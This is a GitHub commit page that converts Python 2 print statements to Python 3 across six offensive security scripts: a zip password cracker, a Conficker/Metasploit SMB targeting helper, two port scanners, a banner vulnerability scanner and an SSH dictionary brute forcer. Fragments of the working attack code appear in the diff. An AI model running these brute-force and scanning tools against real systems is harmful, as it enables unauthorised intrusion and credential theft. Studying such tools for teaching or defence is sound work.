Skip to content

Commit

Permalink
Modernize Python 2 code to get ready for Python 3
Browse files Browse the repository at this point in the history
  • Loading branch information
cclauss committed Nov 11, 2017
1 parent 5cb5c16 commit 27a8680
Show file tree
Hide file tree
Showing 6 changed files with 30 additions and 24 deletions.
5 changes: 3 additions & 2 deletions crackers/unzip.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,11 @@
from __future__ import print_function
import zipfile
import optparse
from threading import Thread
def extractFile(zFile, password):
try:
zFile.extractall(pwd=password)
print '[+] Password = ' + password + "\n"
print('[+] Password = ' + password + "\n")
except:
pass
def main():
Expand All @@ -13,7 +14,7 @@ def main():
parser.add_option("-d", dest="dname", tpye="string", help="specify dictionary file")
(options, args) = parser.parse_args()
if (options.zname == None) | (options.dname == None):
print parser.usage
print(parser.usage)
exit(0)
else:
zname = options.zname
Expand Down
5 changes: 3 additions & 2 deletions metasploit/conficker.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
from __future__ import print_function
import os
import optparse
import sys
Expand All @@ -10,7 +11,7 @@ def findTgts(subNet):
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]['state']
if state == 'open':
print '[+] Found Target Host: ' + host
print('[+] Found Target Host: ' + host)
tgtHosts.append(host)
return tgtHosts
def setupHandler(configFile, lhost, lport):
Expand Down Expand Up @@ -49,7 +50,7 @@ def main():
parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt')
(options, args) = parser.parse_args()
if(options.tgtHost == None) | (options.lhost == None):
print parser.usage
print(parser.usage)
exit(0)
lhost = options.lhost
lport = options.lport
Expand Down
5 changes: 3 additions & 2 deletions scanners/nmap_port_scanner.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,11 @@
from __future__ import print_function
import optparse
import nmap
def nmapScan(tgtHost, tgtPort):
nmScan = nmap.PortScanner()
nmScan.scan(tgtHost, tgtPort)
state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
print " [*] " + tgtHost + " tcp/" +tgtPort + " " + state
print(" [*] " + tgtHost + " tcp/" +tgtPort + " " + state)
def main():
parser = optparse.OptionParser(('usage %prog -H <target host> -p <target port(s) separated by space>'))
parser.add_option("-H", dest="tgtHost", type="string", help="specify tarhet host")
Expand All @@ -13,7 +14,7 @@ def main():
tgtHost = str(options.tgtHost).strip()
tgtPorts = [s.strip() for s in str(options.tgtPort).split(',')]
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
print(parser.usage)
exit(0)
for tgtPort in tgtPorts:
nmapScan(tgtHost, tgtPort.strip())
Expand Down
15 changes: 8 additions & 7 deletions scanners/port_scanner.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
from __future__ import print_function
import optparse
from socket import *
from threading import *
Expand All @@ -9,25 +10,25 @@ def connScan(tgtHost, tgtPort):
connSkt.send("hackerman")
results = connSkt.recv(1024)
screenLock.acquire()
print "[+] %d/tcp open" % (tgtPort)
print "[+] " + str(results)
print("[+] %d/tcp open" % (tgtPort))
print("[+] " + str(results))
except:
screenLock.acquire()
print "[-] %d/tcp closed" % tgtPort
print("[-] %d/tcp closed" % tgtPort)
finally:
screenLock.release()
connSkt.close()
def portScan(tgtHost, tgtPorts):
try:
tgtIP = gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s': Unknown Host" % tgtHost
print("[-] Cannot resolve '%s': Unknown Host" % tgtHost)
return
try:
tgtName = gethostbyaddr(tgtIP)
print "\n[+] Scan Results for: " + tgtName[0]
print("\n[+] Scan Results for: " + tgtName[0])
except:
print "\n[+] Scan Results for: " + tgtIP
print("\n[+] Scan Results for: " + tgtIP)
setdefaulttimeout(1)
for tgtPort in tgtPorts:
t = Thread(target=connScan, args=(tgtHost, int(tgtPort.strip())))
Expand All @@ -40,7 +41,7 @@ def main():
tgtHost = str(options.tgtHost).strip()
tgtPorts = [s.strip() for s in str(options.tgtPort).split(',')]
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
print(parser.usage)
exit(0)
portScan(tgtHost, tgtPorts)
if __name__ == "__main__":
Expand Down
11 changes: 6 additions & 5 deletions scanners/simple_vuln_scanner.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
from __future__ import print_function
import socket
import os
import sys
Expand All @@ -15,26 +16,26 @@ def checkVulns(banner, filename):
f = open(filename, 'r')
for line in f.readlines():
if line.strip('\n') in banner:
print '[+] Server is vulnerable: ' + banner.strip('\n')
print('[+] Server is vulnerable: ' + banner.strip('\n'))
def main():
if len(sys.argv) == 2:
filename = sys.argv[1]
if not os.path.isfile(filename):
print '[-] ' + filename + ' does not exist.'
print('[-] ' + filename + ' does not exist.')
exit(0)
if not os.access(filename, os.R_OK):
print '[-] ' + filename + ' access denied.'
print('[-] ' + filename + ' access denied.')
exit(0)
else:
print '[-] Usage: ' + str(sys.argv[0]) + ' <vuln filename>'
print('[-] Usage: ' + str(sys.argv[0]) + ' <vuln filename>')
exit(0)
portList = [21, 22, 25, 80, 110, 443]
for x in range(147, 150):
ip = '192.168.95.' + str(x)
for port in portList:
banner = retBanner(ip, port)
if banner:
print '[+] ' + ip + ': ' + banner
print('[+] ' + ip + ': ' + banner)
checkVulns(banner, filename)
if __name__ == '__main__':
main()
13 changes: 7 additions & 6 deletions ssh/ssh_dictionary.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
from __future__ import print_function
import pxssh
import optparse
import time
Expand All @@ -12,9 +13,9 @@ def connect(host, user, pw, release):
try:
s = pxssh.pxssh()
s.login(host, user, pw)
print '[+] Password found: ' + pw
print('[+] Password found: ' + pw)
found = True
except Exception, e:
except Exception as e:
if 'read_nonblocking' in str(e):
fails += 1
time.sleep(5)
Expand All @@ -34,19 +35,19 @@ def main():
passFile = options.passwdFile
user = options.user
if host == None or passFile == None or user == None:
print parser.usage
print(parser.usage)
exit(0)
fn = open(passFile, 'r')
for line in fn.readlines():
if found:
print "[*] Exiting: Password found"
print("[*] Exiting: Password found")
exit(0)
if fails > 5:
print "[!] Exiting: Too Many SOcket Timeouts"
print("[!] Exiting: Too Many SOcket Timeouts")
exit(0)
connection_lock.acquire()
password = line.strip("\r").strip("\n")
print "[-] Testing: " + str(password)
print("[-] Testing: " + str(password))
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
Expand Down

0 comments on commit 27a8680

Please sign in to comment.